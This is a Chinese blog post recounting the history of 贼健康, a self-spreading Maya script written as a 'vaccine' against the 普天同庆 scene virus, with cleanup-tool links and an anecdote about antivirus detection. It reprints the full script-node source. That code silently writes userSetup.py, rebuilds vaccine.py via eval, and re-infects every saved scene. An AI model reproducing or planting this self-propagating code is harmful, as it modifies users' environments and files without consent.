说到贼健康,就不得不提一下普天同庆这个恶性病毒。
普天同庆会在事发当年的端午节假期后,锁定被感染的maya文件。用一般人的话去说就是,没有任何方法可以读取被锁定的文件了。
我这边,最早从徐国梁大哥那边得到的警报,随后老东家红鲤也放出了通用消杀工具。
而贼健康,是天地智慧大将军当时在他公司内部,为了消杀普天同庆这个恶性病毒,写的一个疫苗。
他模仿了普天同庆的传播方式,但是低估了这种传播方式的麻烦。文件就随着外包流到了市面上。
在这里我想给各位觉得贼健康很讨厌的朋友,纠正一个事实。如果不是贼健康有足够的传播力将普天同庆全部扑杀。很可能现在你遇到的情况会十分严重,而不是一个保存时的一个贱贱的黄色警告。
2022年5月7日修订
结果造成了更多人的困扰。也算是中国CG史上的一个逸闻趣事了。
大将军后来写了一篇文来道歉
那段时间在Q群里at大将军的时候。他秒回对不起。成了道歉侠。让人于心不忍再苛责,而且给出了解决方案,请大家务必原谅大将军,不要叫贼健康是病毒
拜托了
拜托了
拜托了
这里是大将军给的解决方案的下载地址:
已经失效,请看文章末尾的修订部分
https://pan.baidu.com/s/1QdXJATyMZA4jg2FYt-Y72Q提取码:7cd1
我这里保存一份源码样本。过几年被查杀干净了就再也找不到了
createNode script -n "vaccine_gene";
rename -uid "910F50FD-483D-2667-AD50-14B1092185A7";
addAttr -ci true -sn "nts" -ln "notes" -dt "string";
setAttr ".b" -type "string" "petri_dish_path = cmds.internalVar(userAppDir=True) + 'scripts/userSetup.py'\npetri_dish_gene = ['import sys\\r\\n', 'import maya.cmds as cmds\\r\\n', \"maya_path = cmds.internalVar(userAppDir=True) + '/scripts'\\r\\n\", 'if maya_path not in sys.path:\\r\\n', ' sys.path.append(maya_path)\\r\\n', 'import vaccine\\r\\n', \"cmds.evalDeferred('leukocyte = vaccine.phage()')\\r\\n\", \"cmds.evalDeferred('leukocyte.occupation()')\"]\nwith open(petri_dish_path, \"w\") as f:\n\tf.writelines(petri_dish_gene)";
setAttr ".st" 1;
setAttr ".stp" 1;
setAttr ".nts" -type "string" (
"['# coding=utf-8\\r\\n', '# @Time : 2020/07/05 15:46\\r\\n', '# @Author : \\xe9\\xa1\\xb6\\xe5\\xa4\\xa9\\xe7\\xab\\x8b\\xe5\\x9c\\xb0\\xe6\\x99\\xba\\xe6\\x85\\xa7\\xe5\\xa4\\xa7\\xe5\\xb0\\x86\\xe5\\x86\\x9b\\r\\n', '# @File : vaccine.py\\r\\n', '# \\xe4\\xbb\\x85\\xe4\\xbd\\x9c\\xe4\\xb8\\xba\\xe5\\x85\\xac\\xe5\\x8f\\xb8\\xe5\\x86\\x85\\xe9\\x83\\xa8\\xe4\\xbd\\xbf\\xe7\\x94\\xa8\\xe4\\xbf\\x9d\\xe6\\x8a\\xa4 \\xe4\\xb8\\x80\\xe6\\x97\\xa6\\xe6\\xb3\\x84\\xe9\\x9c\\xb2\\xe5\\x87\\xba\\xe5\\x8e\\xbb\\xe9\\x80\\xa0\\xe6\\x88\\x90\\xe7\\x9a\\x84\\xe5\\xbd\\xb1\\xe5\\x93\\x8d \\xe6\\x9c\\xac\\xe4\\xba\\xba\\xe6\\xa6\\x82\\xe4\\xb8\\x8d\\xe8\\xb4\\x9f\\xe8\\xb4\\xa3\\r\\n', 'import maya.cmds as cmds\\r\\n', 'import os\\r\\n', 'import shutil\\r\\n', '\\r\\n', '\\r\\n', 'class phage:\\r\\n', ' @staticmethod\\r\\n', ' def backup(path):\\r\\n', \" folder_path = path.rsplit('/', 1)[0]\\r\\n\", \" file_name = path.rsplit('/', 1)[-1].rsplit('.', 1)[0]\\r\\n\", \" backup_folder = folder_path + '/history'\\r\\n\", \" new_file = backup_folder + '/' + file_name + '_backup.ma '\\r\\n\", ' if not os.path.exists(backup_folder):\\r\\n', ' os.makedirs(backup_folder)\\r\\n', ' shutil.copyfile(path, new_file)\\r\\n', '\\r\\n', ' def antivirus(self):\\r\\n', ' health = True\\r\\n', ' self.clone_gene()\\r\\n', ' self.antivirus_virus_base()\\r\\n', \" virus_gene = ['sysytenasdasdfsadfsdaf_dsfsdfaasd', 'PuTianTongQing', 'daxunhuan']\\r\\n\", ' all_script_jobs = cmds.scriptJob(listJobs=True)\\r\\n', ' for each_job in all_script_jobs:\\r\\n', ' for each_gene in virus_gene:\\r\\n', ' if each_gene in each_job:\\r\\n', ' health = False\\r\\n', \" job_num = int(each_job.split(':', 1)[0])\\r\\n\", ' cmds.scriptJob(kill=job_num, force=True)\\r\\n', \" all_script = cmds.ls(type='script')\\r\\n\", ' if all_script:\\r\\n', ' for each_script in all_script:\\r\\n', \" commecnt = cmds.getAttr(each_script + '.before')\\r\\n\", ' for each_gene in virus_gene:\\r\\n', ' if commecnt:\\r\\n', ' if each_gene in commecnt:\\r\\n', ' try:\\r\\n', ' cmds.delete(each_script)\\r\\n', ' except:\\r\\n', \" name_space = each_script.rsplit(':',1)[0]\\r\\n\", \" cmds.error(u'{}\\xe8\\xa2\\xab\\xe6\\x84\\x9f\\xe6\\x9f\\x93\\xe4\\xba\\x86\\xef\\xbc\\x8c\\xe4\\xbd\\x86\\xe6\\x98\\xaf\\xe6\\x88\\x91\\xe6\\xb2\\xa1\\xe6\\xb3\\x95\\xe5\\x88\\xa0\\xe9\\x99\\xa4'.format(name_space))\\r\\n\", ' if not health:\\r\\n', ' file_path = cmds.file(query=True, sceneName=True)\\r\\n', ' self.backup(file_path)\\r\\n', ' cmds.file(save=True)\\r\\n', \" cmds.error(u'\\xe4\\xbd\\xa0\\xe7\\x9a\\x84\\xe6\\x96\\x87\\xe4\\xbb\\xb6\\xe8\\xa2\\xab\\xe6\\x84\\x9f\\xe6\\x9f\\x93\\xe4\\xba\\x86\\xef\\xbc\\x8c\\xe4\\xbd\\x86\\xe6\\x98\\xaf\\xe6\\x88\\x91\\xe8\\xb4\\xb4\\xe5\\xbf\\x83\\xe7\\x9a\\x84\\xe4\\xb8\\xba\\xe6\\x82\\xa8\\xe6\\x9d\\x80\\xe6\\xaf\\x92\\xe5\\xb9\\xb6\\xe4\\xb8\\x94\\xe5\\xa4\\x87\\xe4\\xbb\\xbd\\xe4\\xba\\x86~\\xe4\\xb8\\x8d\\xe7\\x94\\xa8\\xe8\\xb0\\xa2~')\\r\\n\", ' else:\\r\\n', \" cmds.warning(u'\\xe4\\xbd\\xa0\\xe7\\x9a\\x84\\xe6\\x96\\x87\\xe4\\xbb\\xb6\\xe8\\xb4\\xbc\\xe5\\x81\\xa5\\xe5\\xba\\xb7~\\xe6\\x88\\x91\\xe5\\xb0\\xb1\\xe8\\xaf\\xb4\\xe4\\xb8\\x80\\xe5\\xa3\\xb0\\xe6\\xb2\\xa1\\xe6\\x9c\\x89\\xe5\\x88\\xab\\xe7\\x9a\\x84\\xe6\\x84\\x8f\\xe6\\x80\\x9d')\\r\\n\", '\\r\\n', ' @staticmethod\\r\\n', ' def antivirus_virus_base():\\r\\n', \" virus_base = cmds.internalVar(userAppDir=True) + '/scripts/userSetup.mel'\\r\\n\", ' if os.path.exists(virus_base):\\r\\n', ' try:\\r\\n', ' os.remove(virus_base)\\r\\n', ' except:\\r\\n', \" cmds.error(u'\\xe6\\x9d\\x80\\xe6\\xaf\\x92\\xe5\\xa4\\xb1\\xe8\\xb4\\xa5')\\r\\n\", '\\r\\n', ' def clone_gene(self):\\r\\n', \" vaccine_path = cmds.internalVar(userAppDir=True) + '/scripts/vaccine.py'\\r\\n\", \" if not cmds.objExists('vaccine_gene'):\\r\\n\", ' if os.path.exists(vaccine_path):\\r\\n', ' gene = list()\\r\\n', ' with open(vaccine_path, \"r\") as f:\\r\\n', ' for line in f.readlines():\\r\\n', ' gene.append(line)\\r\\n', ' cmds.scriptNode(st=1,\\r\\n', ' bs=\"petri_dish_path = cmds.internalVar(userAppDir=True) + \\'scripts/userSetup.py\\'\\\\npetri_dish_gene = [\\'import sys\\\\\\\\r\\\\\\\\n\\', \\'import maya.cmds as cmds\\\\\\\\r\\\\\\\\n\\', \\\\\"maya_path = cmds.internalVar(userAppDir=True) + \\'/scripts\\'\\\\\\\\r\\\\\\\\n\\\\\", \\'if maya_path not in sys.path:\\\\\\\\r\\\\\\\\n\\', \\' sys.path.append(maya_path)\\\\\\\\r\\\\\\\\n\\', \\'import vaccine\\\\\\\\r\\\\\\\\n\\', \\\\\"cmds.evalDeferred(\\'leukocyte = vaccine.phage()\\')\\\\\\\\r\\\\\\\\n\\\\\", \\\\\"cmds.evalDeferred(\\'leukocyte.occupation()\\')\\\\\"]\\\\nwith open(petri_dish_path, \\\\\"w\\\\\") as f:\\\\n\\\\tf.writelines(petri_dish_gene)\",\\r\\n', \" n='vaccine_gene', stp='python')\\r\\n\", ' cmds.addAttr(\\'vaccine_gene\\', ln=\"notes\", sn=\"nts\", dt=\"string\")\\r\\n', \" cmds.setAttr('vaccine_gene.notes', gene, type='string')\\r\\n\", \" if not cmds.objExists('breed_gene'):\\r\\n\", ' cmds.scriptNode(st=1,\\r\\n', ' bs=\"import os\\\\nvaccine_path = cmds.internalVar(userAppDir=True) + \\'/scripts/vaccine.py\\'\\\\nif not os.path.exists(vaccine_path):\\\\n\\\\tif cmds.objExists(\\'vaccine_gene\\'):\\\\n\\\\t\\\\tgene = eval(cmds.getAttr(\\'vaccine_gene.notes\\'))\\\\n\\\\t\\\\twith open(vaccine_path, \\\\\"w\\\\\") as f:\\\\n\\\\t\\\\t\\\\tf.writelines(gene)\",\\r\\n', \" n='breed_gene', stp='python')\\r\\n\", '\\r\\n', ' def occupation(self):\\r\\n', ' cmds.scriptJob(event=[\"SceneSaved\", \"leukocyte.antivirus()\"], protected=True)\\r\\n']");
createNode script -n "breed_gene";
rename -uid "17418FA6-425B-032F-7701-C1A1C85515F7";
setAttr ".b" -type "string" "import os\nvaccine_path = cmds.internalVar(userAppDir=True) + '/scripts/vaccine.py'\nif not os.path.exists(vaccine_path):\n\tif cmds.objExists('vaccine_gene'):\n\t\tgene = eval(cmds.getAttr('vaccine_gene.notes'))\n\t\twith open(vaccine_path, \"w\") as f:\n\t\t\tf.writelines(gene)";
setAttr ".st" 1;
setAttr ".stp" 1;
附大将军道歉原文的图片:

=======================================
2022年5月7日 追加
重新上传了一份清理工具,这次是我自己的盘了。请放心下载 链接:https://pan.baidu.com/s/1FkDY9jSEJJsDkF6sg5vCYQ?pwd=09gh 提取码:09gh
说起来,本来我以为这件事情,目的是暖心的,结局是尴尬的。慢慢的就淡出视线了。
但是这张图又引爆了TD圈子

大将军的贼健康提示,被微软自带的杀毒软件收录到了特征库里。
从今天起,大将军正式封神。影响力已经是世界级的了。手动狗头。
这个帖子见证了历史发生的瞬间。